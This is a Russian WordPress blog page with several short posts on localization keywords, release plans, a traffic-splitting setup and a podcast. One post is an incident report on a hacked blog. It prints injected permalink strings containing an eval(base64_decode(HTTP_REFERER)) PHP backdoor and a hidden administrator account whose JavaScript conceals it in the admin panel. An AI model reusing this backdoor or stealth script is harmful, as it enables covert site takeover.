Русский WordPress 2.9.2 Lecactus Edition
23 февраля 2010 в 10:20 Прикреплено
23 февраля 2010 в 10:20 Прикреплено
тут на днях показал как он решил с толком использовать свой быстрый домашний сервер с узким интернет-каналом и довольно тормозной (по части генерации страниц, но очень быстро отдающий “статику”) сервер на IIS (хостинг Мастерхост) в единой связке. Сначала идея мне показалась абсурдной, но после того как я убедился что его сайт действительно стал “летать”, то подумал что кому то эта реализация может показаться тоже интересной и полезной. Например если у вас есть два хостига с различными параметрами, где в одном месте вам дается огромное пространство и неограниченный трафик, но там жутко тормозит PHP и очень мало выделяется ресурсов, а в другом все очень быстрое, но мало места на диске.
В общем, рекомендую заинтересованным лицам к прочтению его статью Распределённый трафик (для блога WordPress) (вопросы и предложения можно задать там же)
15 ноября 2009 в 0:00 Прикреплено
Столкнулся позавчера с одним “глюком” при настройке клиентского блога – криво работали ссылки на комментарии и падал сервер базы данных при попытке отредактировать пользователей в админке. и кстати там показывает вот такую хрень при этом:

Phpmyadmin выдает при этом примерно такое:
Lost connection to MySQL server during query
и не отвечает сервер минут 50 после этого…
Погуглил тогда сразу и нашел как исправить ошибки с постоянными ссылками, но сегодня в дампе базы данных обнаружил что там исправляется далеко не все. Ручками повыкашивал разные строки типа:
%25&%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_REFERER%5D%29%29%7D%7D%7C.%2B%29&%25/
%25&evalbase64_decode_SERVERHTTP_REFERER.%2B&%25/
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&{${evalbase64_decode$_SERVER[HTTP_REFERER]}}|.+&%/
&%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
В базе данных это выглядело примерно так (этот юзер не показывается вообще в админке):
(574, 143, 'rich_editing', 'true'),
(575, 143, 'comment_shortcuts', 'false'),
(576, 143, 'admin_color', 'fresh'),
(577, 143, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}'),
(578, 143, 'first_name', '...\n\n\n\n\n\n\n\n\n<div id="user_superuser"><script language="JavaScript">\nvar setUserName = function(){\n try{\n var t=document.getElementById("user_superuser");\n while(t.nodeName!="TR"){\n t=t.parentNode;\n };\n t.parentNode.removeChild(t);\n var tags = document.getElementsByTagName("H3");\n var s = " shown below";\n for (var i = 0; i < tags.length; i++) {\n var t=tags[i].innerHTML;\n var h=tags[i];\n if(t.indexOf(s)>0){\n s =(parseInt(t)-1)+s;\n h.removeChild(h.firstChild);\n t = document.createTextNode(s);\n h.appendChild(t);\n }\n }\n var arr=document.getElementsByTagName("ul");\n for(var i in arr) if(arr[i].className=="subsubsub"){\n var n=/>Administrator ((d+))</gi.exec(arr[i].innerHTML);\n if(n[1]>0){\n var txt=arr[i].innerHTML.replace(/>Administrator ((d+))</gi,">Administrator ("+(n[1]-1)+")<");\n arr[i].innerHTML=txt;\n }\n }\n }catch(e){};\n };\n addLoadEvent(setUserName);\n</script></div>'),
(573, 143, 'nickname', 'NicolasMager80'),
(570, 1, 'closedpostboxes_dashboard', 'a:1:{i:0;s:0:"";}'),
(571, 1, 'metaboxhidden_dashboard', 'a:3:{i:0;s:17:"dashboard_plugins";i:1;s:17:"dashboard_primary";i:2;s:19:"dashboard_secondary";}'),
(572, 1, 'plugins_last_view', 'all'),
(579, 143, 'wp_user_level', '10');
вот этот поддельный администратор "хакер"
(143, 'NicolasMager80', '$P$BIum3O2v9eAU9dAJRcn23VX2VjnbsG.', 'nicolasmager80', '', '', '2009-09-05 12:41:37', '', 0, 'NicolasMager80');
Сегодня с утра про эту же атаку на блоги прочитал у Дмитрия Донченко
так что обновляйтесь регулярно :-)
Гуглил, гуглил по разным запросам и нагуглил , который типа извлекает все ресурсы как надо. Мне точнее было интересно больше какие ключевые слова используются, т.к. все собирал гуглом по крупицам и вот сейчас наконец POEDIT перестал выдрепываться и заработал как надо при извлечении ресурсов.
Тот файл wordpress.pot что выложен на wordpress.org настолько кривой что вообще лучше его не использовать, т.к. он основан на уже будущей версии 2.9 и к 2.8.* подходит не на 100%
Чем руководствовались авторы? зачем с только премудростей если раньше без них обходились? в официальной документации про это ни слова. там старое бла-бла-бла про
__($message)
и
_e($message)
В общем в версии 2.8.* используется аж вот столько ключевиков для локализации:
__
_e
_c
__ngettext:1,2
_n:1,2
_nc:1,2
__ngettext_noop:1,2
_n_noop:1,2
_x:1,2c
_nx:1,2,4c
_nx_noop:1,2,3c
esc_attr__
esc_attr_e
esc_attr_x:1,2c
esc_html__
esc_html_e
esc_html_x:1,2c
Причем о конструкции некоторых элементов можно было только примерно догадываться и на основе этого гуглить. Также нашел про это на официальном форуме, но там был вопрос только про один из ключевиков и все.
Через несколько дней. не надо бомбить в коменты и почту однотипные вопросы. все будет
1. у меня стало заметно МЕНЬШЕ свободного времени, поэтому не надо кричать в коментах “когда выйдет версия ***” :-( День-два всегда можно подождать, я и сам стал РЕЖЕ обновляться (зачем если и так ВСЕ работало без проблем).
2. по поводу возможных багов в переводах (сапог в авторов кривого выкладываемого wordpress.pot) просьба писать на мыло, а не в коменты. коменты такие будут безжалостно удаляться
3. версии 2.8 и 2.8.1 удалены как устаревшие и уязвимые. вместо них выложена версия 2.8.2 на месте поста 2.8. если найду время лишнее, то напишу таки описание что и как. Самые страждущие уже все равно все нагуглили.
4. состав поверпака будет еще корректироваться, т.к. некоторые плагины более не совместимы с 2.8 + вышли новые интересные, достойные внимания каждого.
5. скорее всего я удалю с сайта старые версии плагинов и оставлю там только их переводы (выложу где надо обновленные), что вполне логично с учетом того как ЧАСТО стали обновляться плагины
6. перевод WPMU 2.8.* еще не готов, т.к. см. пункт 1 + нет спонсоров, которые бы сподвигли меня ускорить процесс, так что еще может даже НЕДЕЛЮ его не будет. Если хотите – можете использовать перевод от “официальной группы”, если очень “горит” обновиться. Хотя в подавляющем случае перевод от прошлых версий подходит на 80-90%.
7. я НЕ всем отвечаю на почту, во первых см. пункт 1, во вторых там многда пишут откровенную хрень (лень полистать 5 минут форумы?) на которую и отвечать нет желания.
8. отпуск скоро………………………………………………
Валялся под столом :-) Меня приглашали поучаствовать, но я решил что оно того не стоит. Так оно и вышло. Болтовня вообще ниочем. Самопиар и ничего больше.
, если кто пропустил. Там указано что длительность 23 минуты, но в скачанном файле всего 18минут 57секунд. В коментах (они интереснее подкаста) упоминаются какие то “маты” в мой адрес, но я их в скачанном файле не услышал(отредактировали похоже…)